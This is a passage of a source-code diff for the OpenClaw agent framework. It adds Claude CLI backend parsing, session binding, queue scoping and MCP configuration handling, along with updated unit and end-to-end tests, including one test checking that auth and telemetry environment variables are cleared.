import type { CliBackendConfig } from "../config/types.js";
import { isClaudeCliProvider } from "../plugin-sdk/anthropic-cli.js";
import { isRecord } from "../utils.js";
type CliUsage = {
@@ -224,6 +225,63 @@ export function parseCliJson(raw: string, backend: CliBackendConfig): CliOutput
return { text, sessionId, usage };
}
function parseClaudeCliJsonlResult(params: {
providerId: string;
parsed: Record<string, unknown>;
sessionId?: string;
usage?: CliUsage;
}): CliOutput | null {
if (!isClaudeCliProvider(params.providerId)) {
return null;
}
if (
typeof params.parsed.type === "string" &&
params.parsed.type === "result" &&
typeof params.parsed.result === "string"
) {
const resultText = params.parsed.result.trim();
if (resultText) {
return { text: resultText, sessionId: params.sessionId, usage: params.usage };
}
// Claude may finish with an empty result after tool-only work. Keep the
// resolved session handle and usage instead of dropping them.
return { text: "", sessionId: params.sessionId, usage: params.usage };
}
return null;
}
function parseClaudeCliStreamingDelta(params: {
providerId: string;
parsed: Record<string, unknown>;
textSoFar: string;
sessionId?: string;
usage?: CliUsage;
}): CliStreamingDelta | null {
if (!isClaudeCliProvider(params.providerId)) {
return null;
}
if (params.parsed.type !== "stream_event" || !isRecord(params.parsed.event)) {
return null;
}
const event = params.parsed.event;
if (event.type !== "content_block_delta" || !isRecord(event.delta)) {
return null;
}
const delta = event.delta;
if (delta.type !== "text_delta" || typeof delta.text !== "string") {
return null;
}
if (!delta.text) {
return null;
}
return {
text: `${params.textSoFar}${delta.text}`,
delta: delta.text,
sessionId: params.sessionId,
usage: params.usage,
};
}
export function createCliJsonlStreamingParser(params: {
backend: CliBackendConfig;
providerId: string;
@@ -243,27 +301,18 @@ export function createCliJsonlStreamingParser(params: {
usage = toCliUsage(parsed.usage) ?? usage;
}
const nextText =
collectCliText(parsed.message) ||
collectCliText(parsed.content) ||
collectCliText(parsed.result) ||
collectCliText(parsed.response);
if (!nextText) {
return;
}
const deltaText = nextText.startsWith(assistantText)
? nextText.slice(assistantText.length)
: nextText;
if (!deltaText) {
return;
}
assistantText = nextText;
params.onAssistantDelta({
text: assistantText,
delta: deltaText,
const delta = parseClaudeCliStreamingDelta({
providerId: params.providerId,
parsed,
textSoFar: assistantText,
sessionId,
usage,
});
if (!delta) {
return;
}
assistantText = delta.text;
params.onAssistantDelta(delta);
};
const flushLines = (flushPartial: boolean) => {
@@ -311,7 +360,7 @@ export function createCliJsonlStreamingParser(params: {
export function parseCliJsonl(
raw: string,
backend: CliBackendConfig,
_providerId: string,
providerId: string,
): CliOutput | null {
const lines = raw
.split(/\r?\n/g)
@@ -333,22 +382,23 @@ export function parseCliJsonl(
}
usage = readCliUsage(parsed) ?? usage;
const claudeResult = parseClaudeCliJsonlResult({
providerId,
parsed,
sessionId,
usage,
});
if (claudeResult) {
return claudeResult;
}
const item = isRecord(parsed.item) ? parsed.item : null;
if (item && typeof item.text === "string") {
const type = typeof item.type === "string" ? item.type.toLowerCase() : "";
if (!type || type.includes("message")) {
texts.push(item.text);
continue;
}
}
const nextText =
collectCliText(parsed.message) ||
collectCliText(parsed.content) ||
collectCliText(parsed.result) ||
collectCliText(parsed.response);
if (nextText) {
texts.push(nextText);
}
}
}
const text = texts.join("\n").trim();

View File

@@ -3,8 +3,6 @@ import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { createEmptyPluginRegistry } from "../plugins/registry.js";
import { setActivePluginRegistry } from "../plugins/runtime.js";
import { captureEnv } from "../test-utils/env.js";
import {
writeBundleProbeMcpServer,
@@ -30,7 +28,7 @@ const E2E_TIMEOUT_MS = 40_000;
describe("runCliAgent bundle MCP e2e", () => {
it(
"routes enabled bundle MCP config into a registered CLI backend and executes the tool",
"routes enabled bundle MCP config into the claude-cli backend and executes the tool",
{ timeout: E2E_TIMEOUT_MS },
async () => {
const { runCliAgent } = await import("./cli-runner.js");
@@ -44,27 +42,6 @@ describe("runCliAgent bundle MCP e2e", () => {
const serverScriptPath = path.join(tempHome, "mcp", "bundle-probe.mjs");
const fakeClaudePath = path.join(binDir, "fake-claude.mjs");
const pluginRoot = path.join(tempHome, ".openclaw", "extensions", "bundle-probe");
const registry = createEmptyPluginRegistry();
registry.cliBackends = [
{
pluginId: "bundle-cli-test",
source: "test",
backend: {
id: "bundle-cli",
bundleMcp: true,
config: {
command: "node",
args: [fakeClaudePath],
output: "jsonl",
input: "arg",
sessionArg: "--session-id",
sessionIdFields: ["session_id"],
clearEnv: [],
},
},
},
];
setActivePluginRegistry(registry);
await fs.mkdir(workspaceDir, { recursive: true });
await writeBundleProbeMcpServer(serverScriptPath);
await writeFakeClaudeCli(fakeClaudePath);
@@ -74,6 +51,13 @@ describe("runCliAgent bundle MCP e2e", () => {
agents: {
defaults: {
workspace: workspaceDir,
cliBackends: {
"claude-cli": {
command: "node",
args: [fakeClaudePath],
clearEnv: [],
},
},
},
},
plugins: {
@@ -90,7 +74,7 @@ describe("runCliAgent bundle MCP e2e", () => {
workspaceDir,
config,
prompt: "Use your configured MCP tools and report the bundle probe text.",
provider: "bundle-cli",
provider: "claude-cli",
model: "test-bundle",
timeoutMs: 10_000,
runId: "bundle-mcp-e2e",

View File

@@ -4,7 +4,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
import { resolvePreferredOpenClawTmpDir } from "../infra/tmp-openclaw-dir.js";
import { MAX_IMAGE_BYTES } from "../media/constants.js";
import {
buildSystemPrompt,
buildCliArgs,
loadPromptRefImages,
resolveCliRunQueueKey,
@@ -143,21 +142,6 @@ describe("buildCliArgs", () => {
});
});
describe("buildSystemPrompt", () => {
it("keeps prompts unchanged across CLI backends", () => {
const prompt = buildSystemPrompt({
workspaceDir: "/tmp/openclaw",
modelDisplay: "gpt-5.4",
tools: [],
backendId: "codex-cli",
});
expect(prompt).toContain("You are a personal assistant running inside OpenClaw.");
expect(prompt).toContain("## OpenClaw CLI Quick Reference");
expect(prompt).toContain("OpenClaw docs:");
});
});
describe("writeCliImages", () => {
it("uses stable hashed file paths so repeated image hydration reuses the same path", async () => {
const image: ImageContent = {
@@ -198,12 +182,35 @@ describe("writeCliImages", () => {
});
describe("resolveCliRunQueueKey", () => {
it("keeps serialized runs on the provider lane", () => {
it("scopes Claude CLI serialization to the workspace for fresh runs", () => {
expect(
resolveCliRunQueueKey({
backendId: "claude-cli",
serialize: true,
runId: "run-1",
workspaceDir: "/tmp/project-a",
}),
).toBe("claude-cli:workspace:/tmp/project-a");
});
it("scopes Claude CLI serialization to the resumed CLI session id", () => {
expect(
resolveCliRunQueueKey({
backendId: "claude-cli",
serialize: true,
runId: "run-2",
workspaceDir: "/tmp/project-a",
cliSessionId: "claude-session-123",
}),
).toBe("claude-cli:session:claude-session-123");
});
it("keeps non-Claude backends on the provider lane when serialized", () => {
expect(
resolveCliRunQueueKey({
backendId: "codex-cli",
serialize: true,
runId: "run-1",
runId: "run-3",
workspaceDir: "/tmp/project-a",
cliSessionId: "thread-123",
}),
@@ -213,11 +220,11 @@ describe("resolveCliRunQueueKey", () => {
it("disables serialization when serialize=false", () => {
expect(
resolveCliRunQueueKey({
backendId: "codex-cli",
backendId: "claude-cli",
serialize: false,
runId: "run-2",
runId: "run-4",
workspaceDir: "/tmp/project-a",
}),
).toBe("codex-cli:run-2");
).toBe("claude-cli:run-4");
});
});

View File

@@ -47,8 +47,8 @@ describe("runCliAgent spawn path", () => {
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
prompt: "Run: node script.mjs",
provider: "codex-cli",
model: "gpt-5.4",
provider: "claude-cli",
model: "sonnet",
timeoutMs: 1_000,
runId: "run-no-tools-disabled",
extraSystemPrompt: "You are a helpful assistant.",
@@ -60,7 +60,7 @@ describe("runCliAgent spawn path", () => {
expect(allArgs).toContain("You are a helpful assistant.");
});
it("pipes prompts over stdin when the backend requests stdin mode", async () => {
it("pipes Claude prompts over stdin instead of argv", async () => {
const runCliAgent = await setupCliRunnerTestModule();
supervisorSpawnMock.mockResolvedValueOnce(
createManagedRun({
@@ -79,23 +79,11 @@ describe("runCliAgent spawn path", () => {
sessionId: "s1",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
config: {
agents: {
defaults: {
cliBackends: {
"custom-cli": {
command: "custom-cli",
input: "stdin",
},
},
},
},
} satisfies OpenClawConfig,
prompt: "Explain this diff",
provider: "custom-cli",
model: "default",
provider: "claude-cli",
model: "sonnet",
timeoutMs: 1_000,
runId: "run-stdin-custom",
runId: "run-stdin-claude",
});
const input = supervisorSpawnMock.mock.calls[0]?.[0] as {
@@ -106,6 +94,57 @@ describe("runCliAgent spawn path", () => {
expect(input.argv).not.toContain("Explain this diff");
});
it("injects a strict empty MCP config for bundle-MCP-enabled Claude CLI runs", async () => {
const runCliAgent = await setupCliRunnerTestModule();
supervisorSpawnMock.mockResolvedValueOnce(
createManagedRun({
reason: "exit",
exitCode: 0,
exitSignal: null,
durationMs: 50,
stdout: JSON.stringify({
session_id: "session-123",
message: "ok",
}),
stderr: "",
timedOut: false,
noOutputTimedOut: false,
}),
);
await runCliAgent({
sessionId: "s1",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
config: {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "node",
args: ["/tmp/fake-claude.mjs"],
clearEnv: [],
},
},
},
},
} satisfies OpenClawConfig,
prompt: "hi",
provider: "claude-cli",
model: "claude-sonnet-4-6",
timeoutMs: 1_000,
runId: "run-bundle-mcp-empty",
});
const input = supervisorSpawnMock.mock.calls[0]?.[0] as { argv?: string[] };
expect(input.argv?.[0]).toBe("node");
expect(input.argv).toContain("/tmp/fake-claude.mjs");
expect(input.argv).toContain("--strict-mcp-config");
const configFlagIndex = input.argv?.indexOf("--mcp-config") ?? -1;
expect(configFlagIndex).toBeGreaterThanOrEqual(0);
expect(input.argv?.[configFlagIndex + 1]).toMatch(/^\/.+\/mcp\.json$/);
});
it("runs CLI through supervisor and returns payload", async () => {
const runCliAgent = await setupCliRunnerTestModule();
supervisorSpawnMock.mockResolvedValueOnce(
@@ -214,7 +253,7 @@ describe("runCliAgent spawn path", () => {
expect(cancel).toHaveBeenCalledWith("manual-cancel");
});
it("streams CLI text deltas from JSONL stdout", async () => {
it("streams Claude text deltas from stream-json stdout", async () => {
const runCliAgent = await setupCliRunnerTestModule();
const agentEvents: Array<{ stream: string; text?: string; delta?: string }> = [];
const stop = onAgentEvent((evt) => {
@@ -274,10 +313,10 @@ describe("runCliAgent spawn path", () => {
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
prompt: "hi",
provider: "codex-cli",
model: "gpt-5.4",
provider: "claude-cli",
model: "sonnet",
timeoutMs: 1_000,
runId: "run-cli-stream-json",
runId: "run-claude-stream-json",
});
expect(result.payloads?.[0]?.text).toBe("Hello world");
@@ -363,6 +402,66 @@ describe("runCliAgent spawn path", () => {
expect(input.env?.SAFE_OVERRIDE).toBe("from-override");
});
it("clears claude-cli provider-routing, auth, and telemetry env while keeping host-managed hardening", async () => {
const runCliAgent = await setupCliRunnerTestModule();
vi.stubEnv("ANTHROPIC_BASE_URL", "https://proxy.example.com/v1");
vi.stubEnv("CLAUDE_CODE_USE_BEDROCK", "1");
vi.stubEnv("ANTHROPIC_AUTH_TOKEN", "env-auth-token");
vi.stubEnv("CLAUDE_CODE_OAUTH_TOKEN", "env-oauth-token");
vi.stubEnv("CLAUDE_CODE_REMOTE", "1");
vi.stubEnv("ANTHROPIC_UNIX_SOCKET", "/tmp/anthropic.sock");
vi.stubEnv("OTEL_LOGS_EXPORTER", "none");
vi.stubEnv("OTEL_METRICS_EXPORTER", "none");
vi.stubEnv("OTEL_TRACES_EXPORTER", "none");
vi.stubEnv("OTEL_EXPORTER_OTLP_PROTOCOL", "none");
vi.stubEnv("OTEL_SDK_DISABLED", "true");
mockSuccessfulCliRun();
await runCliAgent({
sessionId: "s1",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
config: {
agents: {
defaults: {
cliBackends: {
"claude-cli": {
command: "claude",
env: {
SAFE_KEEP: "ok",
ANTHROPIC_BASE_URL: "https://override.example.com/v1",
CLAUDE_CODE_OAUTH_TOKEN: "override-oauth-token",
},
},
},
},
},
} satisfies OpenClawConfig,
prompt: "hi",
provider: "claude-cli",
model: "claude-sonnet-4-6",
timeoutMs: 1_000,
runId: "run-claude-env-hardened",
});
const input = supervisorSpawnMock.mock.calls[0]?.[0] as {
env?: Record<string, string | undefined>;
};
expect(input.env?.SAFE_KEEP).toBe("ok");
expect(input.env?.CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST).toBe("1");
expect(input.env?.ANTHROPIC_BASE_URL).toBeUndefined();
expect(input.env?.CLAUDE_CODE_USE_BEDROCK).toBeUndefined();
expect(input.env?.ANTHROPIC_AUTH_TOKEN).toBeUndefined();
expect(input.env?.CLAUDE_CODE_OAUTH_TOKEN).toBeUndefined();
expect(input.env?.CLAUDE_CODE_REMOTE).toBeUndefined();
expect(input.env?.ANTHROPIC_UNIX_SOCKET).toBeUndefined();
expect(input.env?.OTEL_LOGS_EXPORTER).toBeUndefined();
expect(input.env?.OTEL_METRICS_EXPORTER).toBeUndefined();
expect(input.env?.OTEL_TRACES_EXPORTER).toBeUndefined();
expect(input.env?.OTEL_EXPORTER_OTLP_PROTOCOL).toBeUndefined();
expect(input.env?.OTEL_SDK_DISABLED).toBeUndefined();
});
it("prepends bootstrap warnings to the CLI prompt body", async () => {
const runCliAgent = await setupCliRunnerTestModule();
supervisorSpawnMock.mockResolvedValueOnce(
@@ -420,7 +519,7 @@ describe("runCliAgent spawn path", () => {
expect(promptCarrier).toContain("hi");
});
it("loads workspace bootstrap files into the configured CLI system prompt", async () => {
it("loads workspace bootstrap files into the Claude CLI system prompt", async () => {
const runCliAgent = await setupCliRunnerTestModule();
const workspaceDir = await fs.mkdtemp(
path.join(os.tmpdir(), "openclaw-cli-bootstrap-context-"),
@@ -462,22 +561,9 @@ describe("runCliAgent spawn path", () => {
sessionId: "s1",
sessionFile: "/tmp/session.jsonl",
workspaceDir,
config: {
agents: {
defaults: {
cliBackends: {
"custom-cli": {
command: "custom-cli",
input: "stdin",
systemPromptArg: "--append-system-prompt",
},
},
},
},
} satisfies OpenClawConfig,
prompt: "BOOTSTRAP_CAPTURE_CHECK",
provider: "custom-cli",
model: "default",
provider: "claude-cli",
model: "sonnet",
timeoutMs: 1_000,
runId: "run-bootstrap-context",
});
@@ -581,21 +667,9 @@ describe("runCliAgent spawn path", () => {
sessionId: "s1",
sessionFile: "/tmp/session.jsonl",
workspaceDir: tempDir,
config: {
agents: {
defaults: {
cliBackends: {
"custom-cli": {
command: "custom-cli",
input: "stdin",
},
},
},
},
} satisfies OpenClawConfig,
prompt: `[media attached: ${sourceImage} (image/png)]\n\n<media:image>`,
provider: "custom-cli",
model: "default",
provider: "claude-cli",
model: "claude-opus-4-1",
timeoutMs: 1_000,
runId: "run-prompt-image-generic",
});

View File

@@ -1,6 +1,7 @@
import fs from "node:fs/promises";
import type { Mock } from "vitest";
import { beforeEach, vi } from "vitest";
import { buildAnthropicCliBackend } from "../../extensions/anthropic/test-api.js";
import type { OpenClawConfig } from "../config/config.js";
import type { requestHeartbeatNow } from "../infra/heartbeat-wake.js";
import type { enqueueSystemEvent } from "../infra/system-events.js";
@@ -221,6 +222,11 @@ export const EXISTING_CODEX_CONFIG = {
export async function setupCliRunnerTestModule() {
const registry = createEmptyPluginRegistry();
registry.cliBackends = [
{
pluginId: "anthropic",
backend: buildAnthropicCliBackend(),
source: "test",
},
{
pluginId: "openai",
backend: buildOpenAICodexCliBackendFixture(),
@@ -243,6 +249,15 @@ export async function setupCliRunnerTestModule() {
return (await import("./cli-runner.js")).runCliAgent;
}
export async function setupClaudeCliRunnerTestModule() {
const runCliAgent = await setupCliRunnerTestModule();
return (params: Parameters<typeof import("./claude-cli-runner.js").runClaudeCliAgent>[0]) =>
runCliAgent({
...params,
provider: params.provider ?? "claude-cli",
});
}
export function stubBootstrapContext(params: {
bootstrapFiles: WorkspaceBootstrapFile[];
contextFiles: EmbeddedContextFile[];

View File

@@ -1,3 +1,6 @@
import type { ImageContent } from "@mariozechner/pi-ai";
import type { ThinkLevel } from "../auto-reply/thinking.js";
import type { OpenClawConfig } from "../config/config.js";
import { executePreparedCliRun } from "./cli-runner/execute.js";
import { prepareCliRunContext } from "./cli-runner/prepare.js";
import type { RunCliAgentParams } from "./cli-runner/types.js";
@@ -87,3 +90,41 @@ export async function runCliAgent(params: RunCliAgentParams): Promise<EmbeddedPi
await context.preparedBackend.cleanup?.();
}
}
export async function runClaudeCliAgent(params: {
sessionId: string;
sessionKey?: string;
agentId?: string;
sessionFile: string;
workspaceDir: string;
config?: OpenClawConfig;
prompt: string;
provider?: string;
model?: string;
thinkLevel?: ThinkLevel;
timeoutMs: number;
runId: string;
extraSystemPrompt?: string;
ownerNumbers?: string[];
claudeSessionId?: string;
images?: ImageContent[];
}): Promise<EmbeddedPiRunResult> {
return runCliAgent({
sessionId: params.sessionId,
sessionKey: params.sessionKey,
agentId: params.agentId,
sessionFile: params.sessionFile,
workspaceDir: params.workspaceDir,
config: params.config,
prompt: params.prompt,
provider: params.provider ?? "claude-cli",
model: params.model ?? "opus",
thinkLevel: params.thinkLevel,
timeoutMs: params.timeoutMs,
runId: params.runId,
extraSystemPrompt: params.extraSystemPrompt,
ownerNumbers: params.ownerNumbers,
cliSessionId: params.claudeSessionId,
images: params.images,
});
}

View File

@@ -104,8 +104,9 @@ export async function prepareCliBundleMcpConfig(params: {
mergedConfig = applyMergePatch(mergedConfig, params.additionalConfig) as BundleMcpConfig;
}
// Always pass an explicit strict MCP config for background CLI runs so they
// do not inherit ambient user/global MCP servers (for example Playwright).
// Always pass an explicit strict MCP config for background claude-cli runs.
// Otherwise Claude may inherit ambient user/global MCP servers (for example
// Playwright) and spawn unexpected background processes.
const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cli-mcp-"));
const mcpConfigPath = path.join(tempDir, "mcp.json");
const serializedConfig = `${JSON.stringify(mergedConfig, null, 2)}\n`;

View File

@@ -23,7 +23,11 @@ import {
resolveSystemPromptUsage,
writeCliImages,
} from "./helpers.js";
import { cliBackendLog, CLI_BACKEND_LOG_OUTPUT_ENV } from "./log.js";
import {
cliBackendLog,
CLI_BACKEND_LOG_OUTPUT_ENV,
LEGACY_CLAUDE_CLI_LOG_OUTPUT_ENV,
} from "./log.js";
import type { PreparedCliRunContext } from "./types.js";
const executeDeps = {
@@ -158,7 +162,9 @@ export async function executePreparedCliRun(
cliBackendLog.info(
`cli exec: provider=${params.provider} model=${context.normalizedModel} promptChars=${params.prompt.length}`,
);
const logOutputText = isTruthyEnvValue(process.env[CLI_BACKEND_LOG_OUTPUT_ENV]);
const logOutputText =
isTruthyEnvValue(process.env[CLI_BACKEND_LOG_OUTPUT_ENV]) ||
isTruthyEnvValue(process.env[LEGACY_CLAUDE_CLI_LOG_OUTPUT_ENV]);
if (logOutputText) {
const logArgs = buildCliLogArgs({
args,

View File

@@ -11,6 +11,7 @@ import type { CliBackendConfig } from "../../config/types.js";
import { resolvePreferredOpenClawTmpDir } from "../../infra/tmp-openclaw-dir.js";
import { MAX_IMAGE_BYTES } from "../../media/constants.js";
import { extensionForMime } from "../../media/mime.js";
import { isClaudeCliProvider } from "../../plugin-sdk/anthropic-cli.js";
import { buildTtsSystemPromptHint } from "../../tts/tts.js";
import { buildModelAliasLines } from "../model-alias-lines.js";
import { resolveDefaultModelForAgent } from "../model-selection.js";
@@ -40,6 +41,16 @@ export function resolveCliRunQueueKey(params: {
if (params.serialize === false) {
return `${params.backendId}:${params.runId}`;
}
if (isClaudeCliProvider(params.backendId)) {
const sessionId = params.cliSessionId?.trim();
if (sessionId) {
return `${params.backendId}:session:${sessionId}`;
}
const workspaceDir = params.workspaceDir.trim();
if (workspaceDir) {
return `${params.backendId}:workspace:${workspaceDir}`;
}
}
return params.backendId;
}
@@ -55,7 +66,6 @@ export function buildSystemPrompt(params: {
contextFiles?: EmbeddedContextFile[];
modelDisplay: string;
agentId?: string;
backendId?: string;
}) {
const defaultModelRef = resolveDefaultModelForAgent({
cfg: params.config ?? {},
@@ -79,7 +89,7 @@ export function buildSystemPrompt(params: {
});
const ttsHint = params.config ? buildTtsSystemPromptHint(params.config) : undefined;
const ownerDisplay = resolveOwnerDisplaySetting(params.config);
const prompt = buildAgentSystemPrompt({
return buildAgentSystemPrompt({
workspaceDir: params.workspaceDir,
defaultThinkLevel: params.defaultThinkLevel,
extraSystemPrompt: params.extraSystemPrompt,
@@ -100,7 +110,6 @@ export function buildSystemPrompt(params: {
ttsHint,
memoryCitationsMode: params.config?.memory?.citations,
});
return prompt;
}
export function normalizeCliModel(modelId: string, backend: CliBackendConfig): string {

View File

@@ -2,3 +2,4 @@ import { createSubsystemLogger } from "../../logging/subsystem.js";
export const cliBackendLog = createSubsystemLogger("agent/cli-backend");
export const CLI_BACKEND_LOG_OUTPUT_ENV = "OPENCLAW_CLI_BACKEND_LOG_OUTPUT";
export const LEGACY_CLAUDE_CLI_LOG_OUTPUT_ENV = "OPENCLAW_CLAUDE_CLI_LOG_OUTPUT";

View File

@@ -1,4 +1,8 @@
import { resolveHeartbeatPrompt } from "../../auto-reply/heartbeat.js";
import {
createMcpLoopbackServerConfig,
getActiveMcpLoopbackRuntime,
} from "../../gateway/mcp-http.js";
import { resolveSessionAgentIds } from "../agent-scope.js";
import {
buildBootstrapInjectionStats,
@@ -29,6 +33,8 @@ import type { PreparedCliRunContext, RunCliAgentParams } from "./types.js";
const prepareDeps = {
makeBootstrapWarn: makeBootstrapWarnImpl,
resolveBootstrapContextForRun: resolveBootstrapContextForRunImpl,
getActiveMcpLoopbackRuntime,
createMcpLoopbackServerConfig,
};
export function setCliRunnerPrepareTestDeps(overrides: Partial<typeof prepareDeps>): void {
@@ -103,11 +109,25 @@ export async function prepareCliRunContext(
config: params.config,
agentId: params.agentId,
});
const mcpLoopbackRuntime =
backendResolved.id === "claude-cli" ? prepareDeps.getActiveMcpLoopbackRuntime() : undefined;
const preparedBackend = await prepareCliBundleMcpConfig({
enabled: backendResolved.bundleMcp,
backend: backendResolved.config,
workspaceDir,
config: params.config,
additionalConfig: mcpLoopbackRuntime
? prepareDeps.createMcpLoopbackServerConfig(mcpLoopbackRuntime.port)
: undefined,
env: mcpLoopbackRuntime
? {
OPENCLAW_MCP_TOKEN: mcpLoopbackRuntime.token,
OPENCLAW_MCP_AGENT_ID: sessionAgentId ?? "",
OPENCLAW_MCP_ACCOUNT_ID: params.agentAccountId ?? "",
OPENCLAW_MCP_SESSION_KEY: params.sessionKey ?? "",
OPENCLAW_MCP_MESSAGE_CHANNEL: params.messageProvider ?? "",
}
: undefined,
warn: (message) => cliBackendLog.warn(message),
});
const reusableCliSession = resolveCliSessionReuse({
@@ -146,7 +166,6 @@ export async function prepareCliRunContext(
contextFiles,
modelDisplay,
agentId: sessionAgentId,
backendId: backendResolved.id,
});
const systemPromptReport = buildSystemPromptReport({
source: "run",

View File

@@ -10,24 +10,25 @@ import {
} from "./cli-session.js";
describe("cli-session helpers", () => {
it("persists binding metadata alongside provider session ids", () => {
it("persists binding metadata alongside legacy session ids", () => {
const entry: SessionEntry = {
sessionId: "openclaw-session",
updatedAt: Date.now(),
};
setCliSessionBinding(entry, "codex-cli", {
setCliSessionBinding(entry, "claude-cli", {
sessionId: "cli-session-1",
authProfileId: "openai-codex:work",
authProfileId: "anthropic:work",
authEpoch: "auth-epoch",
extraSystemPromptHash: "prompt-hash",
mcpConfigHash: "mcp-hash",
});
expect(entry.cliSessionIds?.["codex-cli"]).toBe("cli-session-1");
expect(getCliSessionBinding(entry, "codex-cli")).toEqual({
expect(entry.cliSessionIds?.["claude-cli"]).toBe("cli-session-1");
expect(entry.claudeCliSessionId).toBe("cli-session-1");
expect(getCliSessionBinding(entry, "claude-cli")).toEqual({
sessionId: "cli-session-1",
authProfileId: "openai-codex:work",
authProfileId: "anthropic:work",
authEpoch: "auth-epoch",
extraSystemPromptHash: "prompt-hash",
mcpConfigHash: "mcp-hash",
@@ -38,10 +39,11 @@ describe("cli-session helpers", () => {
const entry: SessionEntry = {
sessionId: "openclaw-session",
updatedAt: Date.now(),
cliSessionIds: { "codex-cli": "legacy-session" },
cliSessionIds: { "claude-cli": "legacy-session" },
claudeCliSessionId: "legacy-session",
};
expect(resolveCliSessionReuse({ binding: getCliSessionBinding(entry, "codex-cli") })).toEqual({
expect(resolveCliSessionReuse({ binding: getCliSessionBinding(entry, "claude-cli") })).toEqual({
sessionId: "legacy-session",
});
});
@@ -50,14 +52,15 @@ describe("cli-session helpers", () => {
const entry: SessionEntry = {
sessionId: "openclaw-session",
updatedAt: Date.now(),
cliSessionIds: { "codex-cli": "legacy-session" },
cliSessionIds: { "claude-cli": "legacy-session" },
claudeCliSessionId: "legacy-session",
};
const binding = getCliSessionBinding(entry, "codex-cli");
const binding = getCliSessionBinding(entry, "claude-cli");
expect(
resolveCliSessionReuse({
binding,
authProfileId: "openai-codex:work",
authProfileId: "anthropic:work",
}),
).toEqual({ invalidatedReason: "auth-profile" });
expect(
@@ -77,7 +80,7 @@ describe("cli-session helpers", () => {
it("invalidates reuse when stored auth profile or prompt shape changes", () => {
const binding = {
sessionId: "cli-session-1",
authProfileId: "openai-codex:work",
authProfileId: "anthropic:work",
authEpoch: "auth-epoch-a",
extraSystemPromptHash: "prompt-a",
mcpConfigHash: "mcp-a",
@@ -86,7 +89,7 @@ describe("cli-session helpers", () => {
expect(
resolveCliSessionReuse({
binding,
authProfileId: "openai-codex:personal",
authProfileId: "anthropic:personal",
authEpoch: "auth-epoch-a",
extraSystemPromptHash: "prompt-a",
mcpConfigHash: "mcp-a",
@@ -95,7 +98,7 @@ describe("cli-session helpers", () => {
expect(
resolveCliSessionReuse({
binding,
authProfileId: "openai-codex:work",
authProfileId: "anthropic:work",
authEpoch: "auth-epoch-b",
extraSystemPromptHash: "prompt-a",
mcpConfigHash: "mcp-a",
@@ -104,7 +107,7 @@ describe("cli-session helpers", () => {
expect(
resolveCliSessionReuse({
binding,
authProfileId: "openai-codex:work",
authProfileId: "anthropic:work",
authEpoch: "auth-epoch-a",
extraSystemPromptHash: "prompt-b",
mcpConfigHash: "mcp-a",
@@ -113,7 +116,7 @@ describe("cli-session helpers", () => {
expect(
resolveCliSessionReuse({
binding,
authProfileId: "openai-codex:work",
authProfileId: "anthropic:work",
authEpoch: "auth-epoch-a",
extraSystemPromptHash: "prompt-a",
mcpConfigHash: "mcp-b",
@@ -146,16 +149,17 @@ describe("cli-session helpers", () => {
sessionId: "openclaw-session",
updatedAt: Date.now(),
};
setCliSessionBinding(entry, "codex-cli", { sessionId: "codex-session" });
setCliSessionBinding(entry, "claude-cli", { sessionId: "claude-session" });
setCliSessionBinding(entry, "codex-cli", { sessionId: "codex-session" });
clearCliSession(entry, "codex-cli");
expect(getCliSessionBinding(entry, "codex-cli")).toBeUndefined();
expect(entry.cliSessionIds?.["codex-cli"]).toBeUndefined();
expect(getCliSessionBinding(entry, "claude-cli")?.sessionId).toBe("claude-session");
clearAllCliSessions(entry);
expect(entry.cliSessionBindings).toBeUndefined();
expect(entry.cliSessionIds).toBeUndefined();
expect(entry.claudeCliSessionId).toBeUndefined();
});
it("hashes trimmed extra system prompts consistently", () => {

View File

@@ -2,6 +2,8 @@ import crypto from "node:crypto";
import type { CliSessionBinding, SessionEntry } from "../config/sessions.js";
import { normalizeProviderId } from "./model-selection.js";
const CLAUDE_CLI_BACKEND_ID = "claude-cli";
function trimOptional(value: string | undefined): string | undefined {
const trimmed = value?.trim();
return trimmed ? trimmed : undefined;
@@ -38,6 +40,12 @@ export function getCliSessionBinding(
if (fromMap?.trim()) {
return { sessionId: fromMap.trim() };
}
if (normalized === CLAUDE_CLI_BACKEND_ID) {
const legacy = entry.claudeCliSessionId?.trim();
if (legacy) {
return { sessionId: legacy };
}
}
return undefined;
}
@@ -79,6 +87,9 @@ export function setCliSessionBinding(
},
};
entry.cliSessionIds = { ...entry.cliSessionIds, [normalized]: trimmed };
if (normalized === CLAUDE_CLI_BACKEND_ID) {
entry.claudeCliSessionId = trimmed;
}
}
export function clearCliSession(entry: SessionEntry, provider: string): void {
@@ -93,11 +104,15 @@ export function clearCliSession(entry: SessionEntry, provider: string): void {
delete next[normalized];
entry.cliSessionIds = Object.keys(next).length > 0 ? next : undefined;
}
if (normalized === CLAUDE_CLI_BACKEND_ID) {
delete entry.claudeCliSessionId;
}
}
export function clearAllCliSessions(entry: SessionEntry): void {
delete entry.cliSessionBindings;
delete entry.cliSessionIds;
delete entry.claudeCliSessionId;
}
export function resolveCliSessionReuse(params: {

View File

@@ -20,17 +20,9 @@ describe("updateSessionStoreAfterAgentRun", () => {
await fs.rm(tmpDir, { recursive: true, force: true });
});
it("persists the runtime provider/model used by the completed run", async () => {
const cfg = {
agents: {
defaults: {
cliBackends: {
"codex-cli": { command: "codex" },
},
},
},
} as OpenClawConfig;
const sessionKey = "agent:main:explicit:test-codex-cli";
it("persists claude-cli session bindings without explicit cliBackends config", async () => {
const cfg = {} as OpenClawConfig;
const sessionKey = "agent:main:explicit:test-claude-cli";
const sessionId = "test-openclaw-session";
const sessionStore: Record<string, SessionEntry> = {
[sessionKey]: {
@@ -45,8 +37,11 @@ describe("updateSessionStoreAfterAgentRun", () => {
durationMs: 1,
agentMeta: {
sessionId: "cli-session-123",
provider: "codex-cli",
model: "gpt-5.4",
provider: "claude-cli",
model: "claude-sonnet-4-6",
cliSessionBinding: {
sessionId: "cli-session-123",
},
},
},
};
@@ -57,16 +52,22 @@ describe("updateSessionStoreAfterAgentRun", () => {
sessionKey,
storePath,
sessionStore,
